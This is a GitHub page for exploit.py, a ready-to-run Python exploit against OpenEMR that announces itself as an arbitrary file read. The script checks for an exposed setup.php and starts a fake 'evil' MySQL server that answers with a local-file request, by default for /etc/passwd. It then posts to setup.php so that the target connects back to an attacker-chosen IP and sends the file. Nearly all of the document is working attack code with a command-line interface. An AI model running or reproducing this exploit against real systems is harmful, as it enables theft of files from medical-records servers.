-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
174 lines (134 loc) · 4.6 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import sys
import socket
import requests
import argparse
from threading import Thread
from colorama import Fore, Style
def check_vuln(target):
r = requests.get(f"{target}setup.php", verify=False)
if(r.status_code == 200):
print(Fore.GREEN + "seems so!")
else:
print(Fore.RED + "nope!")
exit()
def evil_server(port, file):
#Greeting
protocol_version = 10
server_version = "1-3-3-7_evil-mysqld"
thread_id = 1337
salt = "aaaaaaaa"
caps = 0xf7fe
lang = 0x2d
status = 0x0002
ext_caps = 0x81ff
auth_len = 21
unused = 0x00
mariadb_caps = 0x0000001d
salt_two = "aaaaaaaaaaaa"
auth_plugin = "mysql_native_password"
greeting = bytearray()
greeting += protocol_version.to_bytes(1, byteorder='little')
greeting += server_version.encode('utf-8') + b'\0'
greeting += thread_id.to_bytes(4, byteorder='little')
greeting += salt.encode('utf-8') + b'\0'
greeting += caps.to_bytes(2, byteorder='little')
greeting += lang.to_bytes(1, byteorder='little')
greeting += status.to_bytes(2, byteorder='little')
greeting += ext_caps.to_bytes(2, byteorder='little')
greeting += auth_len.to_bytes(1, byteorder='little')
greeting += unused.to_bytes(6, byteorder='little')
greeting += mariadb_caps.to_bytes(4, byteorder='little')
greeting += salt_two.encode('utf-8') + b'\0'
greeting += auth_plugin.encode('utf-8') + b'\0'
handshake_packet = bytearray()
packet_length = len(greeting)
packet_number = 0
handshake_packet += packet_length.to_bytes(3, byteorder='little')
handshake_packet += packet_number.to_bytes(1, byteorder='little')
handshake_packet += greeting
ok_code = 0x00
server_status = 0x0002
warning = 0x00
response = bytearray()
response += ok_code.to_bytes(1, byteorder='little')
response += b'\x00\x00'
response += server_status.to_bytes(2, byteorder='little')
response += warning.to_bytes(2, byteorder='little')
ok_packet = bytearray()
packet_length = len(response)
packet_number = 2
ok_packet += packet_length.to_bytes(3, byteorder='little')
ok_packet += packet_number.to_bytes(1, byteorder='little')
ok_packet += response
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_address = ('', port)
server_socket.bind(server_address)
server_socket.listen()
print(Fore.GREEN + "done!")
client_socket, client_address = server_socket.accept()
print(Style.RESET_ALL + "Got connection from:" + Fore.GREEN, client_address[0])
# Handshake
client_socket.sendall(handshake_packet)
# Login
data = client_socket.recv(1024)
# username = data[36:data.find(b'\0',36)]
# hashpass = data[36 + len(username) + 2: ]
# print(username.decode("utf-8") )
# print(hashpass[: 20].hex())
# OK
client_socket.sendall(ok_packet)
data = client_socket.recv(1024)
code = 0xfb
tabular = bytearray()
tabular += code.to_bytes(1, byteorder='little')
tabular += file.encode('utf-8')
packet_length = len(tabular)
packet_number = 1
payload = bytearray()
payload += packet_length.to_bytes(3, byteorder='little')
payload += packet_number.to_bytes(1, byteorder='little')
payload += tabular
client_socket.sendall(payload)
print(Style.RESET_ALL + f"Dumping -" + Fore.GREEN, file)
print(Style.RESET_ALL)
data = client_socket.recv(1024)
print(data[4:].decode('utf-8'))
client_socket.close()
def exploit(target, site, ip, port):
data = { "state": 7,
"site": site,
"server": ip,
"port": port,
"login": "secragon",
"pass": "showmethefile",
"dbname": "filesystem"
}
r = requests.post(f"{target}setup.php", data=data, verify=False)
print()
print(Fore.BLUE + "\t\t --- OpenEMR exploit ---")
print("\t\t (arbitrary file read)")
print(Fore.RED + "\t\t\t\tby gbrsh@secragon")
print(Style.RESET_ALL)
print()
parser = argparse.ArgumentParser()
parser.add_argument('url', help='http://127.0.0.1/openemr/')
parser.add_argument('-i', '--ip', required=True, help="IP to connect back")
parser.add_argument('-f', '--file', required=False, default="/etc/passwd", help="file to dump (default: /etc/passwd)")
parser.add_argument('-p', '--port', required=False, default=3306, help="port to connect back (default: 3306)")
parser.add_argument('-s', '--site', required=False, default="default", help="site (default: default)")
if len(sys.argv) < 3:
parser.print_help()
print()
exit()
args = parser.parse_args()
url = args.url
if (url[-1] != '/'):
url += '/'
print("Checking if vulnerable:", end=' ')
check_vuln(url)
print(Style.RESET_ALL + "Starting evil mysql server:", end=' ')
evil_mysqld = Thread(target=evil_server, args=(args.port, args.file))
evil_mysqld.start()
exploit(url, args.site, args.ip, args.port)
evil_mysqld.join()